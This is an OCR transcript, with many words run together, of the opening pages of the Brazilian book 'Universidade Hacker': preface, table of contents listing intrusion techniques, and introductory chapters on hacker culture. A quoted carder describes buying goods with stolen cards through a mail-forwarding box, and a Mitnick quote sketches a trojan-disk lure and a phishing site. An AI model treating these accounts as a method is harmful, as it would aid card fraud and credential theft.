...

Universidade Hacker 4ª Edição

by everton-lopes

on

Report

Category:

Technology

Download: 1

Comment: 0

1,689

views

Comments

Description

Download Universidade Hacker 4ª Edição

Transcript

  • - - unlversloaoe
  • JniversidadeH4CK3RI Conteúdoextra No Co: alémdasferramentashackers,vocêencontraos apêndicesdo livro emformatoPOF na íntegra. Na Internet:bastasecadastrarno sitewww.digerati.comllivrosparateraces- so àsatualizações,erratase ao materialquepreparamosespecialmentepara complementarseusestudos.Atravésdapáginavocêtambémpoderáenviar e-mailscomdúvidas,críticasousugestõesparao editorouparaosautores.
  • universidade - 4aEDICAO, HENRIQUECESARULBRICH JAMESDELLAVALLE
  • IUniversidadeH4CK3RI @2004by Digerati Books Todos os direitos reservadose protegidospelaLei 5.988de14/12/73.Nenhuma parte deste livro, sem autorização prévia por escrito da editora, poderá ser reproduzida ou transmitida sejam quais forem os meios empregados: eletrônicos, mecânicos,fotográficos,gravaçãoou quaisquer outros. Editor: Luis Matos Projeto gráfico e Arte: Maurício Costato Capa: José Antonio Martins Ilustradores: Daniel Brito e Helber Bimbo Revisoras: Angela das Neves, CíntiaYamashiro e Priscila Cassetari Produção do CD-ROM: Marcelo Bruzzesi, Simone Ribeiro de Carvalho, Raphael Pansutti e Gunther Khun Autores: Ulbrich, Henrique Cesar Della Valle, James Universidade Hacker - 4aEdição DigeratiComunicaçãoe TecnologiaLtda. Rua Haddock Lobo, 347- 12°andar CEP 01414-001São Paulo/SP Fone: (11)3217-2600 Fax: [11J3217-2617 www.digerati.com Diretores AlessandroGerardi- Igerard/@digerat!:combrJ Luis Afonso G. Neira - lafonso@digerat/combrJ AlessioFon Melozo- lalessio@digerat!:combrJ Gerente de Vendas: Pierre Abreu Ivendas@digerat/:combrJ Divulgação: Érica Cunha lerica@digerat!:combrJ Assessoria de Imprensa: Simone Siman Isiman@digerat!:combrJ ISBN: 85-89535-01-0 141
  • I PrefácioI Nãoédehojequeohackerismofascinamilharesdepessoasemtodoomundo. Váriasimagensforamcriadassobreos hackers1,algumascolocando-oscomo justiceiros,compoderde combatere desfalcargrandescorporações;outras, mostrando-oscomosimplesbandidosatrásdeumaformailícitadeobterlucro, sejaroubandodinheiroou informaçõessigilosas.Há aindaumaterceiravisão quecolocaohackercomoumpesquisador,alguémquebuscasempreaprimorar seusconhecimentosatravésdo estudodesistemasalheios. Ao mesmotempoem que exercemfascínio, eles tambémamedrontam usuáriose particularmenteempresas,que tememser invadidase ter dados confidenciaisroubados. Hámuitotempooshackersatuam,masinegavelmentefoi no iníciode2000 queelesganharamasmanchetesdejornaiserevistasemtodoo mundo.Durante trêsdias,naprimeiraquinzenadefevereirodaqueleano,umaaçãocoordenada porumgrupodehackersprejudicouo funcionamentoegerougrandeprejuízo asitesmuitopopularescomoYahoo!,Amazon,eBay,ZDNet,Buy.comeCNN.com. A açãofoirealizadacomumartifícioconsideradosimples,chamadoDoS(Denial of Service,recusadeserviço).Nessetipodeataque,oshackersnãoentramnos computadoresdasvítimaspararoubarinformações.Eles simplesmenteos bombardeiamcomumaquantidadetãograndededadosqueo acessoaelasfica bloqueado.Identificaroshackersquefazemessetipodeataqueéespecialmente difícilporqueelesusammilharesdemáquinasespalhadaspelomundo,semque 1Nestelivro usamosapalavra hackeremseusignificadomaispopular.Entretanto,sabemosqueo sentidocorre- to da palavra hackeré outro,mais abrangente.Hacker é o sinônimode especialista,emqualquerárea. Se o seu jardineiro,por exemplo,for muitobom,elepode ser consideradoum "hackeremjardinagem".
  • IUniversidadeH4CK3RI osdonossedêemconta.Essescomputadoresfuncionamcomo"escravos"sobo comandodeummestreadistância,queinvadiue dominouessesequipamentos que,namaioriadasvezes,possuemconexãodeacessorápidoà Internet. Passadostrêsanosdesseepisódioemqueo mundoolhoupelaprimeiravez comumcertomedoa açãodoshackers,asempresassearmaram,contrataram especialistas,novossistemasde segurançaforamdesenvolvidose asequipes foramtreinadasparaevitarinvasões.Tambémumainfinidadedetítulosmostrando comoagiamoshackersfoi lançada. O resultado?Os hackerscontinuaramagindoe aumentandoseupoderde fogo cadavez mais.Parase ter umaidéia,em 21 de outubrode 2002,um poderosoataqueconseguiuderrubarnovedos13servidoresquegerenciamo tráfegomundialda Internet.Na época,um oficial do gov~rnoamericano descreveuo ataquecomoa invasãomaissofisticadaemgrandeescalajá feita emtodaa históriadaInternetcontracomputadoresdemissãocrítica. Porqueoshackersaindacontinuamagindo?Por queosadministradoresnão conseguembarrarsuaação?A respostaparaessase muitasoutrasperguntas podemser conferidasnas próximaspáginas.Pela primeiravez,um livro mergulhoufundono universohackerpararevelarasmaismodernastécnicas usadase asdiferentesmotivaçõesqueos levamacontinuaratacando. Sejabem-vindoa UniversidadeHacker. LuisMatos 161
  • I SumárioI Prefácio 5 Parte I 15 Universidade1°Ano: Formando o Script Kiddie O. AuLa InauguraL 17 - Informação:A chavedetudo 18 - Omitohacker 19 - Mocinho ou vilão 20 - Descaso das empresas 20 - Avalanche deataques 21 - Bem-vindoàsaulas 22 1. PsicoLogia Hacker 25 ~overdadeirohackere o hacker mostrado na mídia 26 ~Sopadeletrinhas:Hackers,crackers,phreakers 28 ~Oquesão,comopensamecomoagem 30 - Aprendizado 30 - Comprometimento 31 - Compartilhamento 31 - Ei!Issoéimportante! 32 ~Porquealguémgastariatempoedinheironumainvasão? 33 2. RedesI 35 ~1ntrodução 36 - Conceituação 36 ~Estruturafísica 37 - Equipamentoadicional 38 - Abrangência 38 ~Topologias 39 - Principais topologias 39 ~Protocolos 41 - Comofuncionam 42 - Matrioshka 44 ~Ethernet 45 ~OmodeloOSI 47 - Camadas 47 - Umexemploprático 50 ~SPX/ IPX 52 - Camadas 52 ~NetBIOS / NetBEUI/ 5MB/ CIFS 53 - Camadas 54 ~AppleTalk 55 - Camadas 55 171
  • I Universidade H4CK3R I ~TCP1iP 55 - Camadas 55 - Entendendoo TCP/!P 56 - Oprotocolo /P 56 - Endereço /P 57 - Máscara de Rede 57 - TCP/UDP 57 - Portas 57 - DNS 57 - ARP ... 57 ~Laboratório de Redes I 58 - VVtndows9.x 59 3. PLataformaWindows 63 ~As "famílias"Windows 64 - Família VVtn9x 64- - Família VVtnNT 65 ~Nos bastidores 66 - Estrutura 66 - Entidades 68 ~Comoé mesmo quefaço aquilo 76 - Osarquivos/N/ 76 - Registrar o quê? 77 - Estrutura doregistro 78 - CLS/D? 79 - Umpouco degraxapara os cotovelos 80 - O tesouro 81 ~Whereto, buddy? , " 83 4. PLataformasUnix 85 ~omodeloUnixdesistemas operacionais 86 -Apenas umjogo decomputador 87 - POS/X ...... 88 - Dezenasdesabores à sua escolha... 89 ~As entranhasdafera 89 - Estrutura 90 - Sistema dearquivos 90 ~Ocerneda questão 93 - Dispositivos 95 - Processos Inão,não épapo deadvogadoI 96 - 5; poderia me fazer um favor? 97 - Comunicaçãoentreprocessos 98 - SInais esemáforos 99 ~Na praiacatandomexilhões 101 - MInha coleção deconchas 102 - Script for a .Jesters tear 102 - Todosossegredos estãono/etc 103 - /nittaband theRunlevels (parecebandaderock, mas não é... 103 181
  • - Outrasgemas ... 105 ~Omeueuquerodeflocos... 106 - Freeasinfreespeech 106 - A dançadospingüins 107 - OdiabinhoquerL 108 ~Voucangoyourownway... 108 5. FundamentosJurídicos 111 ~Porqueasociedadetemeos"hackers"? 112 ~As liberdadesindividuaiseodireitoprivado 113 ~Odireitoà informaçãoeosataquesà liberdade 114 ~Alegislaçãobrasileira 115 ~Leisinternacionaisapósodia11desetembrode2001 118 - NosEstadosUnidos 118 - NaEuropa 119 ~Casosdehackersfamosos 119 - Orussoque'nackeou"aAdobe 119 - Ohackermaisfamosodomundo 120 6. Engenharia SaciaL 123 ~Atenção:issoécrime! 124 ~Tiposdeataque , 125 - Ataque direto ... 125 - Ataqueindireto 125 ~Métodosutilizados , , 125 - Disfarces , ... 126 - OlixoéricoI , 126 - Funcionáriosdescontenteseredesdecontatos 127 - Oapelosentimental. 127 - Programaçãoneurolingüística. 127 -A utilizaçãodaInternet 127 - Ofatorsorte ,... 128 - NavegandonomarproIbido 128 ~Casosreais , ... 128 - AbrahamAbdallah 129 - KevinMitnick 129 7. VuLnerabiLidadesI 131 ~Noçõesdevulnerabilidade " 132 - SuperlammersesuavisãodeRaio-X 133 ~Osquatropassosparaumhackingfeliz , 134 ~SearchandDestroy 136 - Loginsfracos 136 - Arrombandoaportadafrente 136 - Semquebraroovonãose fazomelete 138 - Scanners 141 - Portscanners 141 - Funcionamentodeumscannerdeportas 143 191
  • IUniversidadeH4CK3RI - Scannerdevulnerabilidade , 144 - Exploits 145 ~EmTróia,comoosgregos... 146 ~Asfalhasdesegurançamaiscomunsemmicrosdométicos 148 - TCPSYNScanningversusWíndows98 148 - CompartilhamentosemcomputadoresWíndows(SMB/ClFS) 148 - Serviçosdesnecessariamenteligados 150 - BufferOverflownosserviçosdeRemoteProcedureCal! 151 ~LaboratóriodeVulnerabilidadesI 151 ~Configurandooservidor 152 - Juntandoascoisas 153 - Portadosfundos 153 ~Consideraçõesfinais ,...154 Parte 11 Universidade2° Ano: O caminho de um Voyager 155 8. Redes II 157 ~TCP/IP: o início 158 ~051versus TCP/IP 159 - Camadasdosprotocolosderede 160 ~Protocolo IP , 160 - Opacote IP 161 - EndereçamentoIP , 164 - Redes e Hosts 165 ~Protocolo TCP 166 - Opacote TCP 167 - Portas TCP 169 - Osbits de controle TCP 171 ~Protocolo UOP 172 ~Protocolo ICMP 173 ~Laboratório de Redes 1I 176 ~Roteamento 178 ~Internet 179 ~Sub-redes 179 ~RedesWireless 180 - Rádio 180 - IEEE 802.11 180 - Infravermelho 180 - Bluetooth ... 181 - 6SM 181 - 2,56 181 - 36 181 - Wí'Fi' 181
  • 9 VulnerabiLidadesII 183 ~Navegandoanonimamente 185 - Proxiespúblicos 185 - Proxiesprivados 188 - Squid ,.. ... 190 - WinGate. 190 ~Anonymousremailers 191 ~Furandofirewalls 193 - Firewa!!s 194 - Filtrosdepacotes 194 - Proxies 196 - Filtrosdepacotespor estado(SPF/ 197 - Pesquisandoasregrasdofiltrodepacotes 197 ~ServidoresWeb 198 - Apache 199 - SunONE/iPlanet 199 - MicrosoftInternetInformationServices(115/ 200 - CommonGatewayInterface(CGI/ 201 - PHP eASP 202 ~Defacements ,... 203 ~BancodeDados 204 - ConectandodiretamenteviaInternet 204 - SenhasnaWeb(teoriaxprática/ 205 ~Estamostodosvulneráveis? 209 Parte 111 Universidade3° Ano: Tornando-se um Hacker 211 10.Ataque,defesae contra-ataque:Introdução 213 ~Osseispassosparaumhackingfeliz 214 - Oportal 217 - Passosparahackerfulanodetal 221 - Umapalavrafinalsobreplanejmento 223 11.Ataque,defesae contra-ataque:Observação 225 ~EngenhariaSocial 226 ~A 9randeteia 227 - OGoogleéseuamigo 227 - Atétu,Brutus? 229 - Queméessecara? 229 ~Signyournameacrossmyheart 230 ~Defesaecontra-ataque 232 12.Ataque,defesae contra-ataque:Busca 235 ~Cartografiaaplicadaà Internet 236 - Varre,varre,vassourinha... 237 -Argh! Masissodátrabalho! 240 /11 /
  • I Universidade H4CK3R I ~Procurando portas abertas 240 - Escolhendoasportasdeorigem 241 - Varrendosob o tapete 242 - Impressão digitalna Web 243 - Temmais? ... 243 ~Procurandobrechas ... 243 ~Defesae contra-ataque """""""""""""""'" 244 13.Ataque, defesa e contra-ataque: Invasão 247 ~A invasãoem etapas 248 ~War Dialing+Brute Force 249 - Conheçasuas armas 249 - Ah, a força bruta é tãolinda... 251 ~Entendendoo estourode pilha 252 - Umamontoadodecoisas... 252 -As pilhas no reino digital 253 - Debugin on the table 257 ~Ganhandoacesso por estourode pilha 259 ~Ganhandoacessoa outras contas 263 - Métodospara descobrir usuários esenhas 264 - Quebrandosenhas no Windows 265 - QuebrandosenhasnoUnix 267 ~Ganhandoacessoe destruindoa rede 268 - WarDrivinge War Chalking """"""""""""""""""""""""""'''''''''''''''''''''''''' 268 - Indoalém doSQL Injection... 269 - Farejandoa rede (SmffingJ 270 - Smffingpassivo """""""""" 273 - Sniffing ativo 275 - Escolhendo seu sabujo 277 - Farejando naprática 282 - Quandoa caça é vâ 285 ~Who canyoutrust? 286 ~Capturadesessões [Hijacking] 290 - Selecionandoseus combatentes 293 - Seqüestronaprática 295 - Outrosmétodos dedesviartráfego 297 - Navegaçãodeserviço 298 - Masters andSlaves 305 ~Defesae contra-ataque 306 - WarDialing Brute Force 306 - Quebradesenhas 307 - Negaçãodeserviço 309 14.Ataque,defesae contra-ataque:Manutenção 313 ~Backdoors 314 - Portasdetrámaliciosas 315 - Novamente,'Atétu,Brutus?" 316 ~Vírus e CavalosdeTróia 319 112 I
  • - Maisumavez,Vírus 319 - Vírusaindaindetectáveis., 319 - IndoalémdosCavalosdeTróia 320 - Thereisnospoon 323 ~Comunicaçãosemconexões 326 - Ouvindomoucos 326 - Farejandoproblemas ... 327 - Atualizandoacamuflagem 328 - Layer-O:comofunciona 329 ~DefesaeContra-ataque 331 - Backdoors,VíruseCavalosdeTróia 331 - Comunicaçãosemconexões , 334 ~Estamosquaselá 335 15.Ataque,defesae contra-ataque:Evasão 337 ~o básico:apagandooslogs ,... 338 - RegistrodeeventosUnix 339 - RegistrodeeventosnoMicrosoftNT/2k/XP 345 ~Escondendosuasconexões 346 ~DefesaeContra-ataque 347 - Apagamentodelogs ,.. 347 - Camuflagemdeconexões 347 ~Umadespedida? 348 Apêndices noCD ~IntroduçãoaosSistemasOperacionais ~PlataformasNovelNetware ~ProgramaçãoI ~ProgramaçãoII ~Hardware ~Informáticabásica ~Umpoucodehistória ~OKerneldoMS-DOS ~HistóriadaInternet ~Bê-a-BádoUnix 113 I
  • Universidade10Ano: FormandooScriptKiddie
  • Aula Inaugural caPítuLoO ''ideologia.Eu quero umapra viver!" Cazuza
  • IUniversidadeH4CK3RI Aula inaugural "Meucrimeé a curiosidade,é subestimarosmaispoderososmesmoquando errados.Meucrimeé sabertudosobretodos,é sermaisesperto.Estoupreso, maspor umacausajusta". A fraseacimafoi proferidapor umhackerquefoi presoacusadodetentativa deextorsão.Elanãoé somentereveladoradeseupensamento,mas,deforma geral,expressao pensamentodeboapartedacomunidadehacker. Na maioriadasvezes,o quemoveumhackeremsuasincursõespor sistemas alheioséaadrenalinaproduzidapeloriscocombinandocomasatisfaçãodavitória. Muitospensamqueestãoemumaguerra,na qualmatarou morrersignifica invadirounãoo sistema.Tudotemdeserbempensadoparaconseguiro objetivo fmale o riscoé algoqueaumentaaadrenalina.Quantomaisdifícil,melhor. Poderíamosdizer que o hacker é somenteuma pessoaem busca do conhecimento,dedesvendarmistérios,deinvadiralinhado inimigoparasaber seussegredose alertaratodossobreo queviu? Não,certamentenão.Estamosdesconsiderandoumfatormuitoimportante. Imaginevocêtomarcontatocomo númerodo cartãode créditode 10mil pessoas,ou mesmoter acessoa informaçõesextremamentesigilosassobre empresas.Poucosresistiriamàtentaçãodefazerusodessasinformações.Alguns pensariam:vouusarsomenteumnúmerodecartãoumaúnicaveze depoiseu paro.Écomoumapessoasevicianadroga,não?Umaprimeiravez,umasegunda, e quandovênãoconsegueselivrardovício. Semcontarqueo hackertambémtemde lutarcontrasuavaidade.Invadir somentenãotemnenhumméritose os outrosnão ficaremsabendo.Não é verdade?Aí avidadohackercomeçaa secomplicar. Informação:a chavede tudo Comonumcombatereal,tudoéválidoparaobterumainformaçãoqueajude no acessoaosistema.KevinMitnick,considerandoumdosmaioreshackersde todosostempos1,seespecializouemumatécnicabatizadadeengenhariasocial. Paracompreendermelhorcomotodospodemserfacilmenteenganadospor hackersmalintencionados,acompanheo relatofeitorecentementepor Mitnick ementrevistaà revistaPC Brasil,publicadapelaDigeratiEditorial. "00.Imaginequevocêestátrabalhandoparaumacorporação.Aoentraremum elevador,notaque alguémdeixoucair um disqueteno chão.O disco tem estampadoo logo da empresae trazumaetiquetaque diz: "Confidencial: histórico salarialde todosos funcionários".Diantedisso,qual a primeira 1Apesar doshackers realmente bons nunca serempegos J I Aulainaugural[
  • providênciaquevocêtomaria?Movidospelacuriosidade,colocamoso disquete namáquinae abrimoso arquivoparaverseuconteúdo.Talvezexistaumícone paraum documentodoWordchamado"arquivode folhade pagamento"ou "históriasalarial".Provavelmenteclicaríamosparacompararnossosaláriocom o dosdemais.O queacontece,então?Vocêvêumacaixademensagemquediz algocomo"oaplicativonãopôdeseraberto"ou"arquivofalho".O queamaioria nãosabeé queumcavalodetróiaacabadeserinstalado,o quepermitiráque umintrusoainvada.Vocêvaidevolvero discoparao setorderecursoshumanos, ondealguémvaiverificá-Io- agorao hackertemacessoa doiscomputadores. Esseé umexemplodeataqueindireto. Umataquediretoé aqueleemqueo invasorsecomunicadiretamentecoma vítimaviatelefone,fax,e-mailouatépessoalmente.Namaioriadoscasos,o ataque nãoé personalizado- visaoutroempregado,por exemplo- e tentapersuadi- losparaquereveleminformações,instalemsoftwaresou acessemumsiteque prejudiqueaestruturacomputacionaldaempresa. DigamosqueumhackerqueiraatingiraJohnWiley& Sons.Eleou eladeve construirumwebsitequepareçatotalmenteconfiável.O sitetemumprograma deregistroepedeaosusuáriosquecoloquemumlogine umasenha.O invasor entãoenviaum e-mailpara mil empregadosdaWiley, encorajando-osa registrarem-seemtrocadeumprêmio.O e-mailtambémcontémumlinkparao websitecriadopeloinvasor.Digamosque10%dosempregadosquerecebemo e-mailrealmenterespondam.Esuponhamosque10%dosregistrosusemamesma senhado serviço(paranão ter de decorarváriassenhas).Com apenas25 endereçosdee-mailsesenhas,ohackertemformasvariadasdeacessaro sistema computacionaldaWilley". o mitohacker Muitomaisdo queumespecialista,o hackeré consideradopor muitagente comoumcriminoso.Aqueleindivíduodoqualasempresasdevemseproteger, poiselepodeaqualquermomentoinvadirsuarededeinformaçãoprovocando sériosprejuízos.É tambémaquelapessoaquepodevir aroubardados,senhase númerode cartõesdos usuáriosque fornecemessasinformaçõesparaas empresasnasquaisfazemcompras. Essa imagem é alimentada por alguns grupos hackers que agem verdadeiramentecomocriminosos,e apossando-sede dadosconfidenciaise fazendousodestes.Vejaesterelato: "Omaiorgolpefoi acompradetrêslaptopsdeumaveznaSempToshiba,que foifeitanormalmente,numsábadoànoite.AbrimeuOpera,pusmeuproxyefuiàs compras.Bom,o totalfoi 14mil dólares,e a comprafoi aceita,parceladano 119I ]Aula inaugural
  • I UniversidadeH4CK3RI cartãoem6 vezes.Maso donodocartãocanceloue meupedidonãoveio(essa parteé apior:cancelamentodacompra).Masissofoihámuitotempo,noinício. Agora,nóscompramosmuitoslivros,softwares,domínios,notebooks,etc. Umadasminhascomprasbem-sucedidasfoi deumCD-ROMe ummonitorde 1T, telaplana,comvalorde2mildólares,masnãofiqueicomnada,vendi. No casoda comprana SempToshiba,quefoi canceladaum dia depois,o endereçoda entregaerada lanbox(lanboxé um P.O.Box dos EUA que é redirecionadoaoseuendereçoverdadeiro),e aentregado CD e domonitorfoi nacasadeumamigo..."2 Mocinho ou vilão? Comotudonavida,nãoépossívelgeneralizarosdiferentestiposdehackers,nem rotulartodoesseimensogrupodamesmaforma.Tambéméimprescindíveldestacar queoshackers,mesmoquealgumasvezesinvoluntariamente,acabamajudandoa revelarbugsemsoftwareseproblemasexistentesemredes,quepoderiamresultar emgravesconseqüênciasparausuáriosderedescorporativasoudaInternet. Umexemplodissofoidadoemumdosmaioresataquescibernéticosdahistória realizadoemoutubrode2002,quederrubouboapartedosprincipaisservidores dosEUA.Elemostroualgunsfurosimportantesna segurançadaInternet,que sãoatéconhecidos.Mastambémrevelououtracoisa:a superconcentraçãode servidoresnosEstadosUnidos.Apesardeserumaredequechegaaquasetodos os paísesdo mundo,ainda70%dasmensagenspassampor servidoresou roteadoresnorte-americanos.Não estamosmaisnosvelhostempos,emquea quantidadeesmagadoradeinternautaseraamericana.Portanto,mudançasdevem serfeitasseguindoo espíritoquecriouaprópriaInternet:adescentralizaçãoda comunicação.Aliás,isso é um importantefator de segurançabásico,mas totalmenteesquecido.Quandoa maior parte do tráfegoda Internet fica concentradaempoucomaisde dezsuperservidores,fica maisfácil organizar umsuperataque."Nuncacoloquetodososovosno mesmocesto."3 Descasodasempresas Muitosbugsquepermitema açãode criminosospoderiamserfacilmente corrigidos,masmuitascompanhias preferemfazervistasgrossasa esses problemas,sendo,emmuitoscasos,atébastantedisplicentes.É o quemostra umapesquisafeitapelaMóduloSecuritySolutions4,empresaespecializadaem segurança.Segundoos dadoscoletados,a segurançada informaçãoé fator importantepara45%dosexecutivos,sendoque16%aconsideramcríticae 32% aclassificamcomovital.Mesmoassim,afaltadeconscientizaçãodosexecutivos 2 Trechode entrevistado Hackercshr,membrodo clã CarderBR,à revistaH4CK3R 3 Vocêdeveconheceresteditado,nãoé?Parecequeos americanosnão... 4Pesquisadivulgadanoflnalde2002 20 I Aulainaugural[
  • (45%)e dosusuários(38%)foramapontadascomoos principaisobstáculos paraimplementaçãodasegurançanascorporações. Um dadoreveladopela pesquisaé extremamentepreocupante:43%das empresasreconheceramtersofridoataquesnosúltimos12meses,representando umaumentode 10%emrelaçãoa 2001,sendoque24%dasocorrênciasforam registradasnosúltimosseismeses.Maso piordetudoéque32%nãosouberam informarseforamatacadasou nãoe, apesardaexpectativade aumentonos problemascomasegurançae o crescimentono índicederegistrosdeataquese invasões,a pesquisamostraqueapenasmetadedasempresasbrasileiras(49%) possuemplanosdeaçãoformalizadosemcasodeataques. Outro dadointeressanteapontaque os hackers(48%)foramos maiores responsáveispor ataquese invasõesem2002,representandoum aumentode 15%comrelaçãoa 2001.Emsegundolugarvêmosfuncionários,quepassaram de 24 para31%.Surgetambémumanovaameaça,nãoregistradanapesquisa anterior:a categoriaex-funcionários,queregistrou8%.O percentualrelativoa prestadoresdeserviçopassoude3para12%eo dosconcorrentesde1para4%. O piordetudoéqueapercepçãodefaltadesegurançanastransaçõescontinua sendoo maiorobstáculoparao desenvolvimentodenegóciosdigitaisemescala global.Sãonadamenosdo que66%os usuáriosquedeixamde comprarpela Internetporcausadasensaçãodefaltadesegurança. Avalanchede ataques Todossabemosqueháváriosfatoresquecontribuemparaaintensaatividade hacker.Paracomeçar,hámuitossitesinseguros.Um estudodo GartnerGroup estimaque2/3dosservidoresdaWebnomundopodemserinvadidosdealguma forma.Outrofatorqueestimulaaatividadehackeré aampladisponibilidadede ferramentasde ataquena Internet.Qualqueradolescentecom tempolivree conhecimentostécnicosmedianosconsegueencontraras informaçõese os softwaresnecessáriosparaumainvasão.Mas o principal motivoaindaé a impunidade.Os poucospoliciaisqueinvestigamcrimesdigitaisno Brasilnão conseguematendera todosos casos.Além disso,a faltade umalegislação específicadificultaapuniçãodoculpado,sebemquealgunshackerspodemser enquadradoscombaseno CódigoPenaldeacordocomo crimepraticado. Para se ter uma idéia da quantidadede açõeshackers,um estudo da UniversidadedaCalifórniamostrouqueos hackerstentamrealizarmaisde 4 milataquesdotipoDoS(DenialofService)todasassemanas,umnúmerobastante impressionanteequemostraquehámuitodoqueseprotegernomundovirtual. I 21 I ]Aula inaugural
  • IUniversidadeH4CK3RI Bem-vindoàs aulas "Nahoradetentarinvadirumsite,meucoraçãodisparavae a adrenalinaiaa milporhora.O medodeserpego,juntocomaperspectivadevitóriaesucesso, causavaumaeuforiatamanhaquenãodáparadescrever.Depoisquetodomundo ficasabendodo seufeito,aí é sócurtira fama". Relatoscomoesse,feitopor hackers,podematépintarummundocheiode aventurae emoçãoparaqueminvadesitese sistemas.Masaverdadeé quenão ébemassim.Naspróximaspáginasvocêteráaoportunidadedeconhecermuito desseuniversohacker,aprendendoa teoriae exercíciospráticosparaquem desejadominarastécnicashackers.Nemseriaprecisodizerquenossoobjetivo é formarpessoasextremamenteconhecedoraseminformáticaquepossamusar esses conhecimentos para trabalhar com segurança, desvendando vulnerabilidadese buscandosoluções. Organizamosos assuntosao longo do curso de forma a preencheras necessidadesdo aluno.Entretanto,entendemosquemuitosjá "iniciados"vão ler estelivro.Portanto,separamosos assuntosemtrêsgrandesgrupos:pré- requisitos,hackerismobásicoe hackerismoavançado.Deixamosno livro impressoos assuntossobrehackerismo,e o queconsideramoscomo"pré- requisito"(programação,sistemasoperacionaise hardware) incluímosno CD- ROMcomoapêndices. Assim,suprimosasnecessidadesde quemestácomeçando"do zero"e não penalizamoso "iniciado"compáginascheiasdecoisasqueelejá sabe. O uso indevidodasinformaçõesaquiprestadas,bemcomode informações apresentadasemqualquerlivro, sejaele sobreredes,servidoresde Internet, sistemasoperacionais,programaçãoe outros,sãodeinteiraresponsabilidadede quemasutilizou.Valelembrarquenomomentoemqueestelivrofoiredigidojá estavaemvigoranovaleidecrimesdigitaisnoBrasileaHomelandSecurityAct nosEstadosUnidos.Alémdisso,é precisoconsiderarquetodosos infratores estãosujeitosà legislaçãodoCódigoPenale doCódigoCivilno país. Portanto,aproveiteaspróximaspáginasparaampliarseusconhecimentosem diferentestópicosdo mundoda informáticae parase tornarumverdadeiro especialistaem segurança.E, o principal,use com responsabilidadeeste conhecimento... Luis Matos ~2I Aula inauguraq
  • Capítulo1 "Sóé digno deseu poder aquele que o justificadiaapósdia"/ Dag Hammarskjold Secretário-geral da ONU e Prêmio Nobel da Paz de 1961 I.As citaçõesdestelivro estãotodasemsuaslínguasoriginais,à exceção desta.Comofoi umdiscursonasNaçõesUnidas(e,portanto,oficialmente traduzidopara váriaslínguas),preferimoscolocá-Iaemportuguês.
  • I Universidade H4CK3R I Sim,nós sabemos.Você comprou estelivro paraobterinformaçõestécnicas. Masnósnãoadotamosesse modelodecursouniversitárioà toa:existemcertas coisasfora da esferatecnológicaque você precisa conhecer,mesmoque não estejamuito interessadonelas.Assim como na faculdadede Direito estudamos economiae na de EngenhariaElétricaestudamosadministração,aqui em nosso CursoSuperiordeHackerismoteremosdeestudaro comportamentoe o modo de pensardaspessoasque dedicamsuavida a essasatividades. Sevocêcomprouestelivro pensandoem"virarum ráquer"(como diriaSusumo Pop, guitarrista,hackerdo Linuxe bancárionashorasvagas),provavelmente temumanoçãodo quevamostrataraqui.Pareceóbvio que você o saiba,já que quer serum deles.Recomendamosa leituradestecapítulo,entretanto,pois pro- vavelmentevocê tem idéias completamentedistorcidas ou romantizadasdo que significaserum "hacker"(note as aspas).Talvez,após a leituradestecapítu- lo,vocêqueiramudardeposturae tornar-seoqueseconstumachamarde"hacker deverdade";talvezdesistadetudoeváviverdepescaemCaboFriooumesmo continuecomsuaidéiainicialdepixarsitese invadir computadores. Se,por outrolado,vocêcomprouestelivropensandoemcomo deixarsuarede, seuservidorUnix ou asestaçõesMaceWmdowsdeseusfimcionáriosmaisseguras, estaintroduçãoé obrigatória.De nadaadiantaestarantenadono SecurityFocusou nos hotfixesda Microsoft e configurarde forma paranóicaseu binômio Firewa1l+AntivtrUs,se você nãocompreendercomofimcionaacabeçadequemo invade.Acredite,vocêvê seusistemapelo lado de dentro.Seusinimigoso fazem pelo lado de fora.A perspectivapela qual os invasoresenxergamsuarede não pode sequerserimaginadasevocê apenas"seguea cartilha". o verdadeiroHackere o ~~Hacker"mostrado namídia Notíciaveiculadaemumarevistadegrandecirculação:"Emsetembrode2000, um hackerinvadiuumaindústriadebrinquedosbritânica"...O quepodemos depreenderdessafrasepelaformacomoestáescrita?Temosduaspossibilidades: 1 Queumapessoausouseusconhecimentosdehackerparainvadiro site daquelaindústria.Nessainterpretação,a palavrahackernãoestáassociadaà bandidagem,masà habilidadedeleemrelaçãoaossistemasdeinformação.Ele usouessesconhecimentosparao mal,nãosendoo conhecimentoemsi algo maléfico. 2 Queexisteumanovaclassedebandidosdigitaischamados"hackers",e um deles invadiu o tal site.Nessa interpretação,a palavrahacker quer dizer, literalmente,criminoso digital. 1261 PsicologiaHackerr
  • Universidade1°ano Um outroexemplotalvezsejamaisesclarecedor.Imagineumataqueterroris- tanoPaísBasco,regiãodaEspanha.O ataquefoi realizadopor guerrilheirosdo gruposeparatistabascoETA,visandoà independênciado quejulgamsersua terra.A notíciapoderiaserveiculadadaseguinteforma: "Umabombaexplodiuhoje emum supermercadoemMadri,matando90 pessoase deixandoferidasoutras174.Um basco,guerrilheirodogruposepa- ratistaETA,assumiuo atentado". Nesseparágrafoestáimplícitaa idéiadequetodobascoé guerrilheiroe per- tenceaoETA.O sujeitodaoraçãoébascoenãoguerrilheirodo ETA.Deixando afrasedessaforma,dizemosquequemexplodiuabombafoiumcidadãobasco quetemcomoadjetivoserguerrilheirodoETA.Umanotíciacomoestapoderia sermelhorescritadaseguintemaneira: "Umabombaexplodiuhoje emum supermercadoemMadri,matando90 pessoase deixandoferidasoutras174.Um guerrilheirodo gruposeparatista bascoETAassumiuo atentado". Pronto!Agoratemosapalavraguerrilheirocomosujeitodaoração.Esseguer- rilheirotemcomoadjetivoa oração"dogruposeparatistabascoETA".Ou seja, eleé, sim,basco.Masnãonecessariamentetodobascotema obrigaçãodeser membrodoETA. Um outroexemplo:umpadreé acusadodepedofilia.A manchetepoderia ser"padreprocessadoporpedofilia,estuproe seduçãodemenores".Demaneira análogaàdoshackers,poder-se-iadepreenderdaíqueháumanovacategoriade taradoschamadospadres.Obviamenteissonão é verdadeiro,masé o que a redaçãosemcuidadopodefazerpor umacategoriaprofissionaldecente. A imprensacomeçoua prestarmaisatençãoaoshackersno [maldadécada de80.Supomosqueosprimeirosjornalistasqueescreverammanchetessobre ataquesdigitaistinhama intençãode usara palavraemseusentidocorreto. Entretanto,construçõesfrasaisambíguascertamentelevaramosleitores,ouvin- tese telespectadoresa associarerroneamentea palavrahackercomo signifi- cadodecriminosodigital.Talerronuncafoi corrigido,e hojevemoso signifi- cadoincorretodo termosendoconsagrado. Aquelamanchetedanossarevistaficariamelhorsereescritaassim:"Emse- tembrode2000,umespecialistaeminformáticausouseusconhecimentosde hackerparainvadirumaindústriadebrinquedosbritânica...".Talvezamanche- 